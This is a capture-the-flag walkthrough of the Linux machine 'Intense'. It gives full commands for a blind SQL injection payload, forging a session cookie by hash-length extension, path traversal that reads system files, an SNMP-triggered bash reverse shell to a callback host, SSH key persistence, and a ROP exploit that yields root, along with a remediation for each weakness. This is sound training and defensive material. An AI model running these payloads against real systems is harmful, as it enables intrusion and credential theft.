← all walkthroughs

Intense

Linux· Hard
owned
2026-07-14
time to own
31m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered that the target's Flask web application served its complete Python source code in a public archive, immediately exposing a home-grown session-token scheme using SHA256(SECRET+data) — vulnerable to hash-length extension — and a SQL injection endpoint defended only by a short keyword blocklist. Scripted boolean-blind injection extracted the administrator's 64-hex-char secret, which was fed to hashpumpy to forge a valid admin cookie. With admin access, an unrestricted path-traversal endpoint read the server's SNMP configuration and recovered a read-write community string. That string was used to register an arbitrary shell command via the NET-SNMP-EXTEND-MIB, obtaining a reverse shell as the debian-snmp service account. After persisting an SSH authorized key for a stable session and forwarding the internally-bound note server, a custom binary running as root was exploited via an out-of-bounds array copy that leaked the stack canary, PIE base, and libc address in one round trip; a ROP chain calling dup2 and execve over the forwarded socket then yielded a root shell.

Attack path — how the box was taken

1EnumerationNetwork port and service enumeration (T1046)
Scanned open ports and fingerprinted the web application
A service scan confirmed two open ports: 22 (OpenSSH 7.6p1 Ubuntu) and 80 (Nginx 1.14.0 fronting a Python/Flask application via uWSGI). HTTP header inspection and the login form identified a Flask app backed by SQLite as the primary attack surface.
nmap reported '80/tcp open http nginx 1.14.0 (Ubuntu)'; the nginx sites-enabled config exposed a uWSGI proxy upstream.
Exact commands 2
Full service-version fingerprint; http-enum probes common paths including /src.zip.
nmap -Pn -sV -p 22,80 --script http-title,http-headers,http-enum $INTERNAL_TARGET
Confirm server header and identify framework hints in response.
curl -sI http://$INTERNAL_TARGET/
2EnumerationApplication source-code disclosure (T1083)
Downloaded the public source-code archive and identified three exploitable weaknesses
The application served its full Python source at /src.zip with no authentication gate. Review of lwt.py revealed that session tokens were computed as sha256(SECRET + data) — a Merkle-Damgård construction vulnerable to length extension. parse_session iterated semicolon-delimited fields and unconditionally assigned dict[key] = value, meaning appending duplicate keys at the end of a cookie would override earlier ones. utils.py's badword_in_str function blocked only four strings ('rand', 'system', 'exec', 'date'), leaving boolean-based SQL injection techniques fully available. These three weaknesses together formed a deterministic path to admin access.
curl -s http://<retired-instance-ip>/src.zip returned a valid ZIP archive; lwt.py contained 'return sha256(SECRET + data)'; parse_session assigned values in a plain loop with no duplicate-key rejection.
Exact commands 2
Download and extract the application source.
curl -s -o src.zip http://$INTERNAL_TARGET/src.zip && unzip src.zip -d flask_src
Surface the three exploitable patterns: hash construction, session parser, SQLi blocklist.
grep -n 'sha256\|SECRET\|parse_session\|badword\|load_extension' flask_src/lwt.py flask_src/utils.py flask_src/app.py flask_src/admin.py
FixRemove the application source-code archive from the public web rootCritical
WeaknessThe file /src.zip — containing the complete Flask application source, including all authentication logic, cryptographic implementation, and SQL query construction — was served from the web root without any authentication or access control. Any visitor could download it and immediately identify exploitable weaknesses.
FixDelete src.zip from the web root immediately and audit for any other archives (.tar.gz, .bak, .git directories). Establish a deployment policy where CI/CD pipelines deliver only built or packaged artefacts to the server, never raw source trees. Add a web-server rule to return 403 for requests matching *.zip and *.tar.gz at the document root, and run periodic automated checks to enforce this.
3ExploitationBoolean-based blind SQL injection (CWE-89, T1190)
Extracted the administrator's secret via boolean-blind SQLite injection
After logging in as the default [REDACTED: recovered credential] account, the /submitmessage POST parameter was injected into a SQLite query. A CASE/load_extension oracle was used: load_extension(1) raises an error on the false branch while the endpoint returns 'OK' on the true branch. A Python script iterated SUBSTR((select secret from user where username='admin'), n, 1) = CHAR(x) across all 64 hex positions, recovering the full unsalted SHA256 secret:[REDACTED: protected value] The secret could not be cracked directly — it was used structurally for the hash extension in the next step.
sqli.py confirmed 'OK' responses for each matching CHAR() value across 64 positions; recovered secret matches expected 64-char hex SHA256 format.
Exact commands 3
Authenticate as [REDACTED: recovered credential] and save the auth cookie to /tmp/gc.txt.
curl -s -c /tmp/gc.txt -X POST -d 'username=[REDACTED: recovered credential]&password=[REDACTED: credential]' http://$INTERNAL_TARGET/postlogin
Single-position oracle test: 'OK' confirms position 1 is 'f'. Iterate n=1..64 and x over hex chars 48-57,97-102 in a loop.
curl -s -b /tmp/gc.txt -X POST --data-urlencode "message=' and case when (SUBSTR((select secret from user where username='admin'),1,1)=CHAR(102)) then 1 else load_extension(1) end)-- -" http://$INTERNAL_TARGET/submitmessage
Full extraction script — loops SUBSTR(secret,n,1)=CHAR(x) for all 64 positions. Expected output: [REDACTED: protected value]
python3 sqli.py $INTERNAL_TARGET
FixParameterize all database queries to eliminate SQL injectionCritical
WeaknessThe message parameter in /submitmessage was interpolated directly into a SQLite query string. The only defense was a blocklist of four keywords ('rand', 'system', 'exec', 'date'), which is trivially bypassed by CASE/WHEN, SUBSTR, CHAR, and load_extension — none of which are blocked — enabling full boolean-blind data exfiltration from any table the web process can read.
FixReplace every string-formatted query with a DB-API parameterized statement: cursor.execute('INSERT INTO messages VALUES (?)', (message,)). Remove the blocklist entirely — it provides no meaningful protection and creates a false sense of security. Apply least-privilege to the database connection: the web process should not be able to SELECT from user credential tables; separate those into a schema accessible only by a privileged internal service.
4ExploitationMerkle-Damgård hash-length extension attack (T1550.001)
Forged an administrator session cookie via SHA256 hash-length extension
The [REDACTED: recovered credential] auth cookie carried a sha256(SECRET + data) signature where SECRET was os.urandom(randrange(8, 15)) — 8 to 14 random bytes. Because the hash was computed without HMAC, I hold any valid (hash, data) pair can append new data and compute the correct new hash without knowing SECRET, by manipulating the Merkle-Damgård internal state. Using hashpumpy, the script appended ;username=admin;secret=[REDACTED: protected value]; to the [REDACTED: recovered credential] session data and tested key lengths 8 through 14 by requesting /admin until it returned HTTP 200 instead of 403. Key length 9 succeeded, producing a valid admin session cookie.
forge.py reported HTTP 200 on /admin at klen=9; admin panel rendered correctly with the forged cookie; admincookie.txt written.
Exact commands 2
Install hashpumpy if not already available.
pip install hashpumpy --break-system-packages
forge.py core: for klen in range(8,15): new_hash,new_data=hashpumpy.hashpump([REDACTED: recovered credential]_hash,[REDACTED: recovered credential]_data,';username=admin;secret=[REDACTED: protected value];',klen); r=requests.get('/admin',cookies={'auth':new_data+'.'+new_hash}); if r.status_code==200: save and break. Writes winning cookie to /tmp/admincookie.txt.
python3 forge.py $INTERNAL_TARGET /tmp/gc.txt
FixReplace the custom SHA256-keyed session token with HMAC or a standard session libraryCritical
WeaknessSession tokens were computed as sha256(SECRET + data). This bare Merkle-Damgård construction is vulnerable to hash-length extension: any holder of a valid (hash, data) pair can produce a valid (hash', data + padding + extra_data) without knowing SECRET. Combined with the session parser's last-duplicate-key-wins behavior, this let me elevate any valid session to administrator without credentials.
FixReplace the construction with HMAC-SHA256 (Python: hmac.new(SECRET, data, hashlib.sha256)) — HMAC's nested-hash design is not susceptible to length extension. Better still, drop the hand-rolled scheme and use itsdangerous (already a Flask dependency) or Flask-Login for signed, expiring session cookies. Also update parse_session to reject duplicate keys rather than silently accepting the last one.
5ExploitationPath traversal / local file inclusion (CWE-22, T1083)
Read the SNMP community string and the user flag via admin path traversal
The admin panel's POST /admin/log/view endpoint accepted a logfile parameter and passed it directly to a file-open call with no path canonicalization. Prepending ../../../../../../ navigated from the application log directory to any file readable by the web process. I read /etc/snmp/snmpd.conf, recovering the read-write community string SuP3RPrivCom90, which gave full SNMP write access to the host. The same traversal was used to read the user flag at /home/user/user.txt.
LFI response for snmpd.conf contained 'rwcommunity SuP3RPrivCom90'; /home/user/user.txt returned the flag.
Exact commands 3
Read SNMP config — locate 'rwcommunity' line for the write community string.
C=$(cat /tmp/admincookie.txt); curl -s -b "auth=$C" -X POST --data-urlencode 'logfile=../../../../../../etc/snmp/snmpd.conf' http://$INTERNAL_TARGET/admin/log/view
Read user flag — returns [REDACTED: flag].
C=$(cat /tmp/admincookie.txt); curl -s -b "auth=$C" -X POST --data-urlencode 'logfile=../../../../../../home/user/user.txt' http://$INTERNAL_TARGET/admin/log/view
Enumerate system accounts to locate service-account home directories.
C=$(cat /tmp/admincookie.txt); curl -s -b "auth=$C" -X POST --data-urlencode 'logfile=../../../../../../etc/passwd' http://$INTERNAL_TARGET/admin/log/view
FixCanonicalize file paths in the admin log viewer and restrict the web process to its own filesHigh
WeaknessThe admin /log/view endpoint passed the logfile POST parameter directly to a file-open call without any path canonicalization or prefix validation. A traversal sequence of ../../../../../../ let any admin-session holder read arbitrary files on the host — including system configuration files containing credentials (/etc/snmp/snmpd.conf) and user home directories.
FixResolve the requested path with os.path.realpath() and verify it starts with the permitted log-directory prefix before opening: if not resolved_path.startswith(LOG_DIR): abort(403). Alternatively, accept only a plain filename (reject any input containing /) and build the full path server-side. As a defense-in-depth measure, run the web process as a dedicated unprivileged account that owns only its log directory and has no read access to /etc, /home, or other sensitive paths.
6FootholdSNMP NET-SNMP-EXTEND-MIB arbitrary command execution (T1059.004)
Executed a reverse shell as debian-snmp via SNMP NET-SNMP-EXTEND-MIB
The recovered rwcommunity string granted SNMP write access to the agent's full MIB tree. The NET-SNMP-EXTEND-MIB allows registering named entries that associate an arbitrary shell command with a trigger. By creating a new nsExtend entry pointing to bash with a reverse-shell one-liner and then walking the extend subtree to trigger execution, I received an interactive shell running as the debian-snmp service account on a listener on port 4444.
snmpset with community SuP3RPrivCom90 accepted the createAndGo row; snmpwalk triggered execution; netcat listener received debian-snmp shell.
Exact commands 3
Start reverse-shell listener on my machine before triggering.
nc -lvnp 4444
Register the reverse-shell command. Replace <retired-instance-ip> with operator IP.
snmpset -m +NET-SNMP-EXTEND-MIB -v2c -c SuP3RPrivCom90 $INTERNAL_TARGET 'nsExtendStatus."shell"' i createAndGo 'nsExtendCommand."shell"' s /bin/bash 'nsExtendArgs."shell"' s '-c "bash -i >& /dev/tcp/$CALLBACK_HOST/4444 0>&1 &"'
Walk the extend subtree to trigger execution of all registered extensions.
snmpwalk -v2c -c SuP3RPrivCom90 $INTERNAL_TARGET nsExtendExecType
FixDisable SNMP write access and remove the NET-SNMP extension MIBCritical
Weaknesssnmpd.conf declared a read-write community string (SuP3RPrivCom90) with no source-address restriction, giving any network host full write access to the SNMP agent. The NET-SNMP-EXTEND-MIB — enabled by default — allows any SNMP writer to register and trigger arbitrary shell commands executed as the snmpd process account, providing a ready-made remote code execution primitive.
FixRemove all rwcommunity and rwuser directives from snmpd.conf. If read-only SNMP monitoring is required, replace the community string with a unique randomly-generated value, restrict it to a named management host using the rocommunity <string> <source-IP> syntax, and consider migrating to SNMPv3 with authPriv for authenticated, encrypted queries. Disable the extend MIB by setting 'noExtendedSetRequests yes' or removing the extend view from the access configuration. Restart snmpd and verify with snmpwalk that write operations are refused.
7Persistence / Lateral MovementSSH authorized-key persistence and local port forwarding (T1098.004, T1572)
Persisted an SSH authorized key and forwarded the internal note server
The reverse shell as debian-snmp was fragile and non-interactive. I generated an SSH key pair, wrote the public key into /var/lib/snmp/.ssh/authorized_keys (the debian-snmp home directory), and connected over SSH for a stable, fully interactive session. SSH local port forwarding then exposed the note_server service bound to localhost:5001 on the target — only reachable from localhost — to my machine on port 5001, and the note_server binary was copied locally for analysis.
SSH key written to /var/lib/snmp/.ssh/authorized_keys; ssh -L 5001:localhost:5001 succeeded; note_server binary transferred via scp for reverse engineering.
Exact commands 4
Generate SSH key pair on my machine.
ssh-keygen -t ed25519 -f /tmp/htb_key -N ''
Run on the debian-snmp reverse shell. Replace <pubkey> with contents of /tmp/htb_key.pub.
mkdir -p /var/lib/snmp/.ssh && echo "<pubkey>" >> /var/lib/snmp/.ssh/authorized_keys && chmod 700 /var/lib/snmp/.ssh && chmod 600 /var/lib/snmp/.ssh/authorized_keys
Stable SSH session that simultaneously forwards the internal note server to localhost:5001.
ssh -i /tmp/htb_key -L 5001:localhost:5001 debian-snmp@$INTERNAL_TARGET
Fetch the binary for local analysis with gdb and pwntools.
scp -i /tmp/htb_key debian-snmp@$INTERNAL_TARGET:/usr/local/bin/note_server ./note_server
8Privilege EscalationStack buffer over-read for canary/ASLR bypass + ROP chain for privilege escalation (CWE-125/CWE-787, T1203)
Exploited an out-of-bounds array copy in note_server to obtain a root shell
The note_server binary ran as root under its own systemd unit (noteserver.service). It implemented a custom binary protocol: opcode 2 (copy) performed a memcpy from a note slot into the response buffer using a caller-controlled index, but never checked that index + copy_size stayed within the notes array. Sending index=1024 caused memcpy to read from adjacent stack memory, leaking the stack canary and the PIE base address (PIE base = leaked value − 0xf54). A second out-of-bounds read against the GOT exposed a libc symbol address, giving the libc base. Because the server forked for each connection, the child inherited the parent's ASLR layout — the leaks from the first connection remained valid for exploitation in the same fork. A pwntools ROP chain then called dup2(sock_fd, 0) and dup2(sock_fd, 1) to redirect stdin and stdout onto the socket, followed by execve("/bin/sh", NULL, NULL), dropping a root shell over the forwarded connection.
note_server PID 1166 in cgroup system.slice/noteserver.service; pwntools exploit received a shell with uid=0(root) via forwarded port 5001; root.txt read.
Exact commands 3
Verify full mitigations: Full RELRO, PIE enabled, NX, stack canary — all present.
file note_server && checksec --file=note_server
pwntools exploit targeting localhost:5001. Flow: (1) send opcode=2, index=1024 to leak canary+PIE from OOB response; (2) PIE base = leaked_val - 0xf54; (3) second OOB read against GOT entry to derive libc base; (4) send overflow with ROP: dup2(4,0); dup2(4,1); execve('/bin/sh',0,0). Fork-per-connection preserves ASLR across the leak and exploit rounds.
python3 exploit.py
Execute in the resulting root shell — returns [REDACTED: flag].
cat /root/root.txt
FixFix the out-of-bounds index in note_server's copy opcode and run the service as an unprivileged accountCritical
WeaknessThe note_server binary's copy opcode accepted a caller-controlled array index without verifying it stayed within the bounds of the notes array. An index of 1024 caused memcpy to read from adjacent stack memory, leaking the canary, PIE base, and GOT pointers that defeated all compile-time mitigations. Because the service ran as root, exploiting this single memory-corruption bug gave immediate full system access.
FixAdd an explicit bounds check before every array access in the opcode handler: if (index < 0 || index >= MAX_NOTES) { send_error(conn); return; }. Compile test builds with AddressSanitizer (-fsanitize=address) to surface any remaining out-of-bounds accesses. Change the systemd unit to run the service under a dedicated unprivileged account by adding 'User=noteserver' and 'Group=noteserver' to the [Service] section — this limits the blast radius of any future vulnerability to that account's privileges rather than root. Add a seccomp filter restricting allowed syscalls to only those the service requires.

Findings

Initial Access: Web Content Discovery On 80/TcpCritical
An unauthenticated/low-privilege flaw in the flask, nginx, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to rootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp